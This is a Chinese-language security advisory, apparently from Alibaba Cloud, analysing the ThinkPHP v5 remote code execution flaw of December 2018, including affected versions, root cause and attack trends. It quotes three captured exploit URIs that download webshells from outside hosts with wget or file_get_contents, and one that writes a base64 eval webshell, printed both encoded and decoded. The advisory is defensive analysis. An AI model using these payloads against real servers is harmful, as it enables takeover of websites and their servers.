威脅預警 | ThinkPHP v5新漏洞攻擊案例首曝光
前言
2018年12月10日,PHP/">ThinkPHP v5系列釋出安全更新,修復了一處可導致遠端程式碼執行的嚴重漏洞。阿里雲態勢感知已捕獲多起基於該漏洞的真實攻擊,並對該漏洞原理以及漏洞利用方式進行分析。此次漏洞由ThinkPHP v5框架程式碼問題引起,其覆蓋面廣,且可直接遠端執行任何程式碼和命令。電子商務行業、金融服務行業、網際網路遊戲行業等網站使用該ThinkPHP框架比較多,需要格外關注。
概述
由於ThinkPHP v5框架對控制器名沒有進行足夠的安全檢測,導致在沒有開啟強制路由的情況下,黑客構造特定的請求,可直接進行遠端的程式碼執行,進而獲得伺服器許可權。
漏洞影響的版本
ThinkPHP v5.0系列 < 5.0.23 ThinkPHP v5.1系列 < 5.1.31
漏洞原理分析
通過對比ThinkPHP官方釋出的漏洞修復說明,直接分析thinkphp解析路由排程的程式碼 /thinkphp/library/think/Route.php
parseUrlPath函式呼叫path函式並解析了pathinfo中的路由資訊,函式中url直接用/切分,沒有加任何過濾機制。
搜尋pathinfo發現//thinkphp/library/think/Request.php 定義了獲取URL的pathionfo函式:
我們可以利用$_GET可控的值來進行命令注入。var_pathinfo的引數為s,所以可以直接構造命令注入的函式。
繼續分析路由排程的程式碼app.php,通過’controller’ 來執行控制器操作,例項化控制器,跟進controller方法:
//thinkphp/library/think/ Loader.php中,controller呼叫parseModuleAndClass方法,直接解析$name,例項化$class,當$name匹配 反斜線\時直接將其作為方法和類 strpos($name, ‘\\’) ,我們可以在這裡構造例項化我們想要呼叫的方法。例項化\namespace\class類並執行call_user_func_array方法。
漏洞復現:
我們拿存在ThinkPHP v5遠端程式碼執行漏洞的5.0.22版本進行復現測試。下圖是我們在存在該漏洞的主機上執行ls命令,可以拿到目錄下的所有檔案詳情。
漏洞攻擊真實案例
截至2018年12月11日,阿里雲態勢感知監控到的資料顯示,黑客們利用該漏洞進行攻擊的方式有很多,目前主要是以webshell為主,可能由於曝光PoC時間太短,很多黑產(如挖礦)都還沒充分利用。對目前所有的webshell方式總結後,比較流行的有以下幾種:
1. 利用該漏洞遠端執行下載命令,通過wget遠端下載一個webshell後門,執行命令從而獲得伺服器許可權。
其攻擊URI詳情如下:
"/admin.php?s=admin/think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=wget+-O+help.php+http%3a%2f%2ftzrj.host.smartgslb.com%2fhelp.php.txt "
通過執行wget命令: wget -O help.php http://tzrj.host.smartgslb.com/help.php.txt
,下載webshell。
下面是該webshell所具有的功能列表,如下圖:
2. 利用file_get_contents和file_put_contents函式,遠端下載webshell。
其攻擊的URI詳情如下:
"/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=file_put_contents('content.php',file_get_contents('<a href="http://jzy1115.host3v.vip">http://jzy1115.host3v.vip</a>'));"
該webshell所具備的功能詳細如下圖:
3. 利用file_put_contents函式 寫入一句話webshell,其攻擊的URI詳情如下:
"/admin.php?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=file_put_contents('./vendor/autoclass.php',base64_decode('PD9waHAgJHBhc3M9JF9QT1NUWyczNjB2ZXJ5J107ZXZhbCgkcGFzcyk7Pz4='))"
該命令列包含的base64加密字串解碼如下:
"<?php $pass=$_POST['360very'];eval($pass);?>"
該惡意程式碼將被寫入到檔案./vendor/autoclass.php中。
漏洞影響和攻擊趨勢
通過對網站資訊資料的統計,我們發現存在該漏洞的的網站佔比約10%左右。而從阿里雲態勢感知監控到的資料顯示,從2018-12-04開始至2018-12-11,被攻擊的網站資料暴增。以我們和漏洞利用攻擊對抗的經驗來看,該漏洞的利用攻擊會出現更多變種,各個企業應儘快升級ThinkPHP的程式碼框架至最新版本,避免自己的網站被攻破,伺服器淪陷為肉雞。
下面是被攻擊網站數量變化趨勢,可看出該漏洞被曝光後迅速被大規模自動化利用。